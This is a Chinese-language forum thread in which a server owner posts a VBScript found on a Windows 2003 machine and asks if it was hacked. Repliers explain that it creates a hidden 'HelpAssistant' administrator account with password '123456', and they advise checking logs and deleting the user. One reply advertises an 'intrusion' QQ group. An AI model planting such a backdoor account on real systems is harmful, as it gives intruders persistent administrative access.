下面的VB代码是干嘛的了？

[bluezsh]

请问以下代码好像是建立一个网络用户，但是主要是用来干嘛？是不是我的win2003k服务器被肉鸡了？
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
os="WinNT://"&wsnetwork.ComputerName
Set oa=CreateObject("Scripting.FileSystemObject")
Set oa=CreateObject("Scripting.FileSystemObject")
Set ob=GetObject(os)
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
。。。。。。。。。。。。。。。
Set od=ob.Create("user","HelpAssistant")
od.SetPassword "123456"
。。。。。。。。。。。。。。
od.SetInfo
Set of=GetObject(os&"/HelpAssistant",user)
oe.add os&"/HelpAssistant"
od.SetInfo
Set of=GetObject(os&"/HelpAssistant",user)
oe.add os&"/HelpAssistant"

[dapenge]

入侵QQ群收人了69353783

要求 熟悉一门编程语言，熟悉操作系统
熟悉操作系统内核原理
掌握一门脚本语言

欢迎有意者来互相交流技术

[就是just4]

od.SetPassword "123456"
oe.add os&"/HelpAssistant"

不是很清楚么，在帮楼主管理用户密码呢。）

[2321zhf]

加管 加管 加管

[ljc007]

查系统日志
删可疑用户

[transgress]

建立user用户，密码为123456，具有管理员权限，helpassistant远程管理
楼主的担心是正确的！

[熊孩子开学喽]

增加用户的脚本

[LittlePig]

恭喜lz，电脑成功被肉鸡掉了~